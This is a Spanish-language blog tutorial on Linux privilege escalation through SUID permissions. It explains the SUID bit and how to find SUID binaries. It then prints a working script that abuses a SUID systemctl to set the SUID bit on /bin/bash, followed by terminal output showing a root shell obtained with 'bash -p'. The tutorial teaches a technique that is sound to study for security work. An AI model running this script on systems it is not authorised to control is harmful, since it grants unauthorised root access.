Explotación Permisos SUID | Linux PrivEsc 01

Tras haber visto el funcionamiento de los permisos en linux, he de comentaros que también existen un grupo de permisos un poco especiales como son los permisos SUID. En el artículo de hoy, trataremos la explotación de permisos SUID.

Los permisos SUID: cuando en un binario o fichero el bit SUID está activado significa que la persona que lo ejecute va a tener los mismos permisos que la persona que lo creó. Es decir, si lo creó root tendremos permisos root.

Para asignar un permiso SUID a un archivo o binario se utiliza el comando chmod añadiéndole un 4 al principio de los permisos que deseamos.

Por ejemplo, si miramos la ruta absoluta del binario systemctl /usr/bin/systemctl y miramos los permisos de ese binario:

rwxr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl

Podemos ver que tiene el permiso 755″ pues si le añadimos un 4, es decir, 4755 estaríamos activando los permisos SUID en ese binario.

Y si ahora volvemos a mirar los permisos:

rwsr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl

Vemos que se ha activado un nuevo indicador una “s”.

Podríamos buscar en el sistema todos los binarios o archivos que tienen permisos SUID mediante el siguiente comando:

┌──(diegoaltf4㉿voldemort)-[~]
└─$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/systemctl
/usr/bin/sudo
/usr/bin/su

Como vemos, el binario recientemente modificado (systemctl) se encuentra en la lista.

Este tipo de permisos, en ocasiones, pueden ser explotados para escalar privilegios. Por ejemplo, en este caso, podemos escalar privilegios y llegar a ser root.
Si buscamos en la página GTFObins podemos ver que para el binario systemctl hay una posible explotación de permisos SUID (https://gtfobins.github.io/gtfobins/systemctl/)
En nuestro caso, vamos a modificar los permisos del binario /bin/bash para poder ejecutar una instancia de la misma como root. El script modificado sería:
#!/bin/bash
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

 

Ejecutamos el script:
┌──(diegoaltf4㉿voldemort)-[~/BLOG]
└─$ ./script
Created symlink /etc/systemd/system/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.

Si miramos los permisos del binario bash podemos ver cómo han sido modificados:

┌──(diegoaltf4㉿voldemort)-[~/BLOG/]
└─$ which bash | xargs ls -la
-rwsr-sr-x 1 root root 1234376 feb 24 21:53 /usr/bin/bash

Por lo que ahora, podríamos ejecutar una bash con máximos privilegios:

┌──(diegoaltf4㉿voldemort)-[~/BLOG/]
└─$ bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(diegoaltf4) gid=1000(diegoaltf4) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),121(wireshark),135(scanner),146(kaboxer),1000(diegoaltf4)
bash-5.1#

 

Espero que hayáis aprendido y os haya gustado

Que la Fuerza os acompañe

DiegoAltF4

Home


Comments

3 responses to “Explotación Permisos SUID | Linux PrivEsc 01”

  1. Guillermo López Avatar
    Guillermo López

    Muy interesante!!

  2. Muy buen artículo, 100% recomendada esta web.
    Gracias.

  3. Increíble artículo, llegarás a mucho crack sigue así!!!

Leave a Reply

Your email address will not be published. Required fields are marked *